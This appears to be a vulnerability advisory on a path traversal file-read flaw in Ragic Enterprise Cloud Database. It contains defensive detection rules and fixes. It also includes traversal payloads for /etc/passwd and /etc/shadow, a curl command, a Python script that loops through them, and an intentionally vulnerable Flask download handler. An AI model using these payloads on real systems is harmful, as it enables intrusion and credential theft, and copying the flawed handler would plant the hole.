CVE-2025-15015

Executive Summary

CVE-2025-15015 is a critical Arbitrary File Read vulnerability in Ragic Enterprise Cloud Database. An unauthenticated, remote attacker can exploit a Relative Path Traversal flaw to download arbitrary system files from the underlying server. This vulnerability poses a severe risk to data confidentiality, as it can lead to the exposure of sensitive configuration files, credentials, and proprietary data. No patch is currently available, and no public proof-of-concept (PoC) code has been released. The vulnerability is classified under CWE-23 (Relative Path Traversal) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise cloud database product. Supply chain risk is limited to the direct deployment of the Ragic Enterprise Cloud Database software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and the impact on confidentiality is severe. The lack of a patch increases the risk significantly.

Deep Dive & Mechanics

The vulnerability resides in the file retrieval functionality of the Ragic Enterprise Cloud Database. The application fails to properly sanitize user-supplied input used to construct file paths. By injecting relative path traversal sequences (e.g., ../), an unauthenticated attacker can navigate outside the intended web root directory and read arbitrary files on the server's filesystem.

Root Cause: The application uses user input to build a file path without validating that the final path remains within an allowed directory. This allows an attacker to traverse up the directory tree.

Attack Vector: An HTTP request to a vulnerable endpoint (likely a file download or export function) with a manipulated path or file parameter.

Example Request:

GET /download?file=../../../etc/passwd HTTP/1.1
Host: target.ragic.com

The server would then read and return the contents of /etc/passwd.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet and its patched counterpart are provided for illustrative purposes.

Vulnerable Code (Python/Flask example):

from flask import Flask, request, send_file
import os

app = Flask(__name__)

@app.route('/download')
def download_file():
    filename = request.args.get('file')
    # VULNERABLE: No path validation
    filepath = os.path.join('/var/www/ragic/uploads', filename)
    return send_file(filepath)

Patched Code (Python/Flask example):

from flask import Flask, request, send_file, abort
import os

app = Flask(__name__)
ALLOWED_DIR = os.path.abspath('/var/www/ragic/uploads')

@app.route('/download')
def download_file():
    filename = request.args.get('file')
    filepath = os.path.abspath(os.path.join(ALLOWED_DIR, filename))
    # PATCHED: Ensure the resolved path is within the allowed directory
    if not filepath.startswith(ALLOWED_DIR):
        abort(403)
    return send_file(filepath)

Exploitation & Lab Setup

Red Team

Objective: Exploit the vulnerability to read sensitive files (e.g., /etc/passwd, configuration files, database credentials).

Lab Setup:

1. Deploy a vulnerable instance of Ragic Enterprise Cloud Database (version unknown).
2. Identify the vulnerable endpoint (e.g., /download, /export, /file).
3. Use a tool like curl or Burp Suite to send crafted requests.

Exploitation Steps:

1. Reconnaissance: Identify the vulnerable parameter. Common parameters include file, path, download, filename.
2. Craft Payload: Use relative path traversal sequences.

   ../../../etc/passwd
   ../../../../etc/shadow
   ../../../../var/log/apache2/access.log
   

3. Execute:

   curl -v "http://target.ragic.com/download?file=../../../etc/passwd"
   

4. Extract Data: The server will return the contents of the requested file.

Automation (Python script):

import requests

target = "http://target.ragic.com"
endpoint = "/download"
payloads = [
    "../../../etc/passwd",
    "../../../etc/shadow",
    "../../../etc/nginx/nginx.conf",
    "../../../var/www/ragic/config.php"
]

for payload in payloads:
    url = f"{target}{endpoint}?file={payload}"
    response = requests.get(url)
    if response.status_code == 200 and len(response.text) > 0:
        print(f"[+] Success: {payload}")
        print(response.text[:500])

Blue Team

Objective: Detect and block exploitation attempts.

Detection:

1. Web Server Logs: Monitor for multiple ../ sequences in request parameters.
2. WAF Rules: Block requests containing ../ or ..\\ in file-related parameters.
3. File Integrity Monitoring: Alert on unexpected reads of sensitive system files.

Mitigation:

1. Input Validation: Implement strict allowlisting of allowed file paths.
2. Path Canonicalization: Use realpath() or os.path.abspath() and verify the resolved path is within the intended directory.
3. Least Privilege: Run the application with minimal filesystem permissions.
4. Network Segmentation: Restrict access to the application from untrusted networks.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with multiple ../ sequences in the URI.
  • Requests to endpoints like /download, /export, /file with suspicious parameters.
  • Outbound data transfers containing contents of system files (e.g., root:x:0:0:root:/root:/bin/bash).

• File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, /etc/nginx/nginx.conf, application configuration files.
  • Unexpected file reads logged by the operating system (e.g., auditd logs).

• Log IOCs:

  • Web server access logs showing 200 responses to path traversal payloads.
  • Error logs indicating attempts to read files outside the web root.

Detection Engineering

YARA Rule

rule CVE_2025_15015_Arbitrary_File_Read {
    meta:
        description = "Detects path traversal attempts targeting Ragic Enterprise Cloud Database"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15015"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $sensitive_file = /etc\/passwd|etc\/shadow|etc\/nginx|config\.php|\.env/
    condition:
        $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2025-15015 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting Ragic Enterprise Cloud Database
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - '..%2F'
            - '..%5C'
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15015 - Ragic Enterprise Cloud Database Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; pcre:"/\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Vulnerable Endpoints: If possible, temporarily disable the file download/export functionality.
2. Implement WAF Rules: Deploy a Web Application Firewall (WAF) to block path traversal patterns.
3. Network Segmentation: Restrict access to the Ragic application to trusted IP addresses only.

Long-Term Fixes:

1. Vendor Patch: Await an official patch from Ragic. Monitor their security advisories.
2. Code Hardening: If you have access to the source code, implement proper input validation and path canonicalization as shown in the patched code example.
3. Regular Security Audits: Conduct penetration testing and code reviews to identify similar vulnerabilities.

Workaround:

• Use a reverse proxy (e.g., Nginx) to rewrite or block requests containing path traversal sequences.

  location /download {
      if ($arg_file ~* "\.\.") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers